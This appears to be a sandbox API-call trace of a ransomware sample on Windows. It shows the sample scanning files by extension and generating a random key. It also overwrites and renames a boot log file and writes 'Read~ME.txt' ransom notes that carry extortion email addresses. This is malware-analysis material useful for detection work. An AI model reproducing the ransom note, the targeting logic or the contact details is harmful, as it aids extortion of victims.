	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".OST") returned 0x0
	[0061.795] lstrlenW (lpString=".dbx") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".dbx") returned 0x0
	[0061.795] lstrlenW (lpString=".DB3") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".DB3") returned 0x0
	[0061.795] lstrlenW (lpString=".DAT") returned 4
	[0061.795] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".DAT") returned 0x0
	[0061.796] lstrlenW (lpString=".VHDX") returned 5
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".VHDX") returned 0x0
	[0061.796] lstrlenW (lpString=".ndf") returned 4
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".ndf") returned 0x0
	[0061.796] lstrlenW (lpString=".DB") returned 3
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".DB") returned 0x0
	[0061.796] lstrlenW (lpString=".sql") returned 4
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".sql") returned 0x0
	[0061.796] lstrlenW (lpString=".MYD") returned 4
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".MYD") returned 0x0
	[0061.796] lstrlenW (lpString=".DBT") returned 4
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".DBT") returned 0x0
	[0061.796] lstrlenW (lpString=".ACCDB") returned 6
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".ACCDB") returned 0x0
	[0061.796] lstrlenW (lpString=".fdb") returned 4
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".fdb") returned 0x0
	[0061.796] lstrlenW (lpString=".bak") returned 4
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".bak") returned 0x0
	[0061.796] lstrlenW (lpString=".myd") returned 4
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".myd") returned 0x0
	[0061.796] lstrlenW (lpString=".DTXS") returned 5
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".DTXS") returned 0x0
	[0061.796] lstrlenW (lpString=".ckp") returned 4
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".ckp") returned 0x0
	[0061.796] lstrlenW (lpString=".dbt") returned 4
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".dbt") returned 0x0
	[0061.796] lstrlenW (lpString=".db") returned 3
	[0061.796] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".db") returned 0x0
	[0061.797] lstrlenW (lpString=".TXT") returned 4
	[0061.797] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".TXT") returned 0x0
	[0061.797] lstrlenW (lpString=".MDF") returned 4
	[0061.797] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".MDF") returned 0x0
	[0061.797] lstrlenW (lpString=".bdb") returned 4
	[0061.797] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".bdb") returned 0x0
	[0061.797] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0061.797] StrStrW (lpFirst="\\\\?\\C:\\Boot\\BCD.LOG1", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0061.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a0e18
	[0061.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0061.797] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x363d38) returned 1
	[0061.798] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0061.798] CryptReleaseContext (hProv=0x363d38, dwFlags=0x0) returned 1
	[0061.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0061.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0061.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3a0f50
	[0061.798] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=18178855441) returned 1
	[0061.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x920ed670, dwHighDateTime=0x1d60e1e)) 
	[0061.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0061.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0061.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0061.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0061.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0061.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0061.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0061.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0061.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x366000
	[0061.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0061.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a2168
	[0061.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366000 | out: hHeap=0x300000) returned 1
	[0061.799] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0061.799] GetLastError () returned 0x0
	[0061.800] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252
	[0061.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x28) returned 0x35c0c0
	[0061.801] SetLastError (dwErrCode=0x0) 
	[0061.801] GetLastError () returned 0x0
	[0061.801] SetLastError (dwErrCode=0x0) 
	[0061.801] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0061.801] GetLastError () returned 0x0
	[0061.801] SetLastError (dwErrCode=0x0) 
	[0061.801] GetLastError () returned 0x0
	[0061.802] SetLastError (dwErrCode=0x0) 
	[0061.802] GetLastError () returned 0x0
	[0061.802] SetLastError (dwErrCode=0x0) 
	[0061.802] GetLastError () returned 0x0
	[0061.802] SetLastError (dwErrCode=0x0) 
	[0061.802] GetLastError () returned 0x0
	[0061.802] SetLastError (dwErrCode=0x0) 
	[0061.802] GetLastError () returned 0x0
	[0061.802] SetLastError (dwErrCode=0x0) 
	[0061.802] GetLastError () returned 0x0
	[0061.802] SetLastError (dwErrCode=0x0) 
	[0061.802] GetLastError () returned 0x0
	[0061.802] SetLastError (dwErrCode=0x0) 
	[0061.802] GetLastError () returned 0x0
	[0061.802] SetLastError (dwErrCode=0x0) 
	[0061.802] GetLastError () returned 0x0
	[0061.802] SetLastError (dwErrCode=0x0) 
	[0061.803] GetLastError () returned 0x0
	[0061.803] SetLastError (dwErrCode=0x0) 
	[0061.803] GetLastError () returned 0x0
	[0061.803] SetLastError (dwErrCode=0x0) 
	[0061.803] GetLastError () returned 0x0
	[0061.803] SetLastError (dwErrCode=0x0) 
	[0061.803] GetLastError () returned 0x0
	[0061.803] SetLastError (dwErrCode=0x0) 
	[0061.803] GetLastError () returned 0x0
	[0061.803] SetLastError (dwErrCode=0x0) 
	[0061.803] GetLastError () returned 0x0
	[0061.803] SetLastError (dwErrCode=0x0) 
	[0061.803] GetLastError () returned 0x0
	[0061.803] SetLastError (dwErrCode=0x0) 
	[0061.803] GetLastError () returned 0x0
	[0061.803] SetLastError (dwErrCode=0x0) 
	[0061.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2168 | out: hHeap=0x300000) returned 1
	[0061.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3a2168
	[0061.804] ReadFile (in: hFile=0x110, lpBuffer=0x3a2168, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3a2168*, lpNumberOfBytesRead=0x24dfec0*=0x0, lpOverlapped=0x0) returned 1
	[0061.806] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0061.806] WriteFile (in: hFile=0x110, lpBuffer=0x3a2168*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3a2168*, lpNumberOfBytesWritten=0x24dfec0*=0x0, lpOverlapped=0x0) returned 1
	[0061.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2168 | out: hHeap=0x300000) returned 1
	[0061.806] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0061.806] WriteFile (in: hFile=0x110, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0061.808] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0061.808] WriteFile (in: hFile=0x110, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0061.808] CloseHandle (hObject=0x110) returned 1
	[0061.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0061.813] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="\\\\?\\C:\\Boot\\BCD.LOG1.~~~~" (normalized: "c:\\boot\\bcd.log1.~~~~")) returned 1
	[0061.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0061.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0061.814] GetLastError () returned 0x0
	[0061.814] SetLastError (dwErrCode=0x0) 
	[0061.814] GetLastError () returned 0x0
	[0061.814] SetLastError (dwErrCode=0x0) 
	[0061.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0061.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0061.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0061.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a0f50 | out: hHeap=0x300000) returned 1
	[0061.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a0e18 | out: hHeap=0x300000) returned 1
	[0061.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0061.814] RtlWakeConditionVariable () returned 0x365f70
	[0061.814] GetCurrentThreadId () returned 0x3a4
	[0061.814] GetCurrentThreadId () returned 0x3a4
	[0061.815] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.976] GetCurrentThreadId () returned 0x3a4
	[0061.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39cca8
	[0061.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0061.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0061.976] lstrlenW (lpString=".scr") returned 4
	[0061.976] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0061.976] lstrlenW (lpString=".cmd") returned 4
	[0061.976] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0061.976] lstrlenW (lpString=".dll") returned 4
	[0061.976] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0061.976] lstrlenW (lpString=".bat") returned 4
	[0061.976] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0061.976] lstrlenW (lpString=".cpl") returned 4
	[0061.976] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0061.976] lstrlenW (lpString=".sys") returned 4
	[0061.976] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0061.976] lstrlenW (lpString=".msc") returned 4
	[0061.976] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0061.976] lstrlenW (lpString=".com") returned 4
	[0061.977] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0061.977] lstrlenW (lpString=".lnk") returned 4
	[0061.977] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0061.977] lstrlenW (lpString=".msp") returned 4
	[0061.977] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0061.977] lstrlenW (lpString=".pif") returned 4
	[0061.977] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0061.977] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.977] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0061.977] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0061.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cca8 | out: hHeap=0x300000) returned 1
	[0061.977] RtlWakeConditionVariable () returned 0x365f70
	[0061.977] GetCurrentThreadId () returned 0x3a4
	[0061.977] GetCurrentThreadId () returned 0x3a4
	[0061.977] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.978] GetCurrentThreadId () returned 0x3a4
	[0061.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0061.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357170 | out: hHeap=0x300000) returned 1
	[0061.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357170
	[0061.978] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\Read~ME.txt" (normalized: "c:\\boot\\cs-cz\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0061.979] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0061.979] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0061.979] CloseHandle (hObject=0x110) returned 1
	[0061.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357170 | out: hHeap=0x300000) returned 1
	[0061.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0061.980] RtlWakeConditionVariable () returned 0x365f70
	[0061.980] GetCurrentThreadId () returned 0x3a4
	[0061.980] GetCurrentThreadId () returned 0x3a4
	[0061.980] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.984] GetCurrentThreadId () returned 0x3a4
	[0061.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39cca8
	[0061.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0061.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0061.984] lstrlenW (lpString=".scr") returned 4
	[0061.984] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0061.984] lstrlenW (lpString=".cmd") returned 4
	[0061.984] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0061.984] lstrlenW (lpString=".dll") returned 4
	[0061.984] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0061.984] lstrlenW (lpString=".bat") returned 4
	[0061.984] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0061.984] lstrlenW (lpString=".cpl") returned 4
	[0061.984] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0061.984] lstrlenW (lpString=".sys") returned 4
	[0061.984] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0061.984] lstrlenW (lpString=".msc") returned 4
	[0061.984] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0061.984] lstrlenW (lpString=".com") returned 4
	[0061.984] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0061.984] lstrlenW (lpString=".lnk") returned 4
	[0061.984] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0061.984] lstrlenW (lpString=".msp") returned 4
	[0061.985] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0061.985] lstrlenW (lpString=".pif") returned 4
	[0061.985] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0061.985] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.985] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0061.985] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0061.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cca8 | out: hHeap=0x300000) returned 1
	[0061.986] RtlWakeConditionVariable () returned 0x365f70
	[0061.986] GetCurrentThreadId () returned 0x3a4
	[0061.986] GetCurrentThreadId () returned 0x3a4
	[0061.986] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.986] GetCurrentThreadId () returned 0x3a4
	[0061.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357170
	[0061.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0061.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0061.986] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\Read~ME.txt" (normalized: "c:\\boot\\da-dk\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0061.987] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0061.987] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0061.988] CloseHandle (hObject=0x110) returned 1
	[0061.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0061.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357170 | out: hHeap=0x300000) returned 1
	[0061.989] RtlWakeConditionVariable () returned 0x365f70
	[0061.989] GetCurrentThreadId () returned 0x3a4
	[0061.989] GetCurrentThreadId () returned 0x3a4
	[0061.989] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.992] GetCurrentThreadId () returned 0x3a4
	[0061.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39cca8
	[0061.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0061.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0061.992] lstrlenW (lpString=".scr") returned 4
	[0061.992] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0061.992] lstrlenW (lpString=".cmd") returned 4
	[0061.992] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0061.992] lstrlenW (lpString=".dll") returned 4
	[0061.992] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0061.992] lstrlenW (lpString=".bat") returned 4
	[0061.992] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0061.993] lstrlenW (lpString=".cpl") returned 4
	[0061.993] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0061.993] lstrlenW (lpString=".sys") returned 4
	[0061.993] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0061.993] lstrlenW (lpString=".msc") returned 4
	[0061.993] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0061.993] lstrlenW (lpString=".com") returned 4
	[0061.993] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0061.993] lstrlenW (lpString=".lnk") returned 4
	[0061.993] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0061.993] lstrlenW (lpString=".msp") returned 4
	[0061.993] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0061.993] lstrlenW (lpString=".pif") returned 4
	[0061.993] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0061.993] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0061.993] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0061.993] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
